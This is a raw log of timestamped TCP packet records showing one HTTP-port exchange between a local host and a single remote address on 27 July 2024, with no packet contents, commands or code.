Jul 27, 2024 03:19:16.445125103 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.445144892 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.445194006 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.445204020 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.445219994 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.445236921 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.445251942 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.445255995 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.445285082 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.445292950 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.445329905 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.445329905 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.445913076 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.445971012 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.445986032 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.446006060 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.446011066 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.446011066 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.446022987 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.446043968 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.446043968 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.446058989 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.446074963 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.446098089 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.446098089 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.446150064 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.447566032 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.447602987 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.447618008 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.447643042 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.447643042 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.447678089 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.447705984 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.447721004 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.447736025 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.447751999 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.447762966 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.447762966 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.447772026 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.447782993 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.447788000 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.447794914 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.447804928 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.447840929 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.447840929 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.447863102 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.447877884 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.447891951 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.447900057 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.447900057 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.447916985 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.447930098 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.447930098 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.447933912 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.447972059 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.447972059 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.469969988 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.469995022 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.470030069 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.470057011 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.470057011 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.470063925 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.470098972 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.470108032 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.470108032 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.470134020 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.470172882 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.470172882 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.470172882 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.470274925 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.536269903 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.536307096 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.536339998 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.536361933 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.536361933 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.536372900 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.536422968 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.536422968 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.536427975 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.536463976 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.536498070 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.536519051 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.536530018 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.536555052 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.536601067 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.536601067 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.536608934 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.536643982 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.536695004 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.536709070 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.536709070 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.536726952 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.536761045 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.536766052 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.536766052 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.536793947 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.536837101 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.536837101 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.537293911 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.537327051 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.537362099 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.537381887 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.537381887 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.537396908 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.537436962 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.537436962 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.537451982 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.537484884 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.537539005 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.537540913 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.537540913 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.537581921 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.537589073 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.537622929 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.537655115 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.537678003 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.537678003 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.537687063 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.537719965 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.537734032 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.537734032 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.537751913 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.537784100 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.537795067 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.537795067 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.537972927 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.539541006 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.539593935 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.539628029 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.539654016 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.539654016 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.539660931 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.539701939 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.539701939 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.539711952 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.539746046 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.539768934 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.539777994 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.539810896 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.539822102 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.539822102 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.539844036 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.539876938 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.539887905 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.539887905 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.539927006 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.539943933 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.539977074 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.540009975 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.540024042 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.540024042 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.540041924 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.540083885 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.540083885 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.540307999 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.540339947 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.540379047 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.540379047 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.540389061 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.540421963 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.540466070 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.540466070 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.540473938 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.540523052 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.540549040 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.540555954 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.540589094 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.540600061 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.540600061 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.540626049 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.540657043 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.540658951 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.540692091 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.540700912 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.540700912 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.540724993 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.540759087 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.540774107 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.540774107 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.540791035 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.540834904 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.540834904 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.541098118 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.541131020 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.541152954 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.541182041 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.541193008 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.541217089 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.541249990 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.541260004 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.541260004 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.541280985 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.541313887 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.541327000 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.541327000 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.541487932 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.541954041 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.542006016 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.542011023 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.542062044 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.542085886 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.542095900 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.542123079 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.542129040 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.542162895 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.542175055 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.542175055 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.542197943 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.542242050 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.542242050 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.545413017 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.545443058 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.545486927 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.545486927 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.575151920 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.575187922 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.575205088 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.575228930 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.575237989 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.575244904 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.575267076 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.575298071 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.575298071 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.575304985 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.575337887 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.575344086 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.575393915 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.575416088 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.575416088 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.575428963 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.575450897 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.575464964 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.575516939 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.575516939 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.575535059 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.575570107 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.575603008 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.575614929 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.575614929 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.575638056 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.575670958 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.575684071 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.575684071 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.575704098 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.575727940 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.575737953 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.575748920 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.575773001 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.575807095 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.575818062 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.575818062 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.575859070 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.575905085 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.575905085 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.575912952 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.575963020 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.575994968 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.576004028 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.576004028 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.576029062 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.576061964 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.576085091 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.576085091 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.576095104 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.576112032 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.576128960 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.576220036 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.576229095 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.576229095 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.576255083 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.576288939 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.576297998 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.576297998 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.576339006 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.576371908 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.576385021 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.576391935 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.576426029 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.576457977 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.576467991 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.576467991 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.576494932 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.576523066 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.576558113 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.576591015 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.576601982 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.576601982 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.576626062 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.576646090 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.576706886 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.624906063 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.624943972 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.624977112 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.624980927 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.625005007 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.625032902 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.625066042 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.625077963 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.625077963 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.625101089 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.625134945 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.625144005 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.625144005 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.625191927 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.625644922 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.625677109 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.625699043 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.625814915 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.625859976 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.625859976 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.625864983 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.625900030 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.625931978 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.625946999 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.625946999 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.625965118 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.625998020 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.626023054 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.626023054 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.626137972 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.627017021 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.627067089 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.627075911 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.627103090 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.627136946 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.627147913 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.627147913 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.627170086 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.627207041 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.627213955 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.627213955 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.627259970 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.627289057 CEST	80	49710	85.28.47.31	192.168.2.6
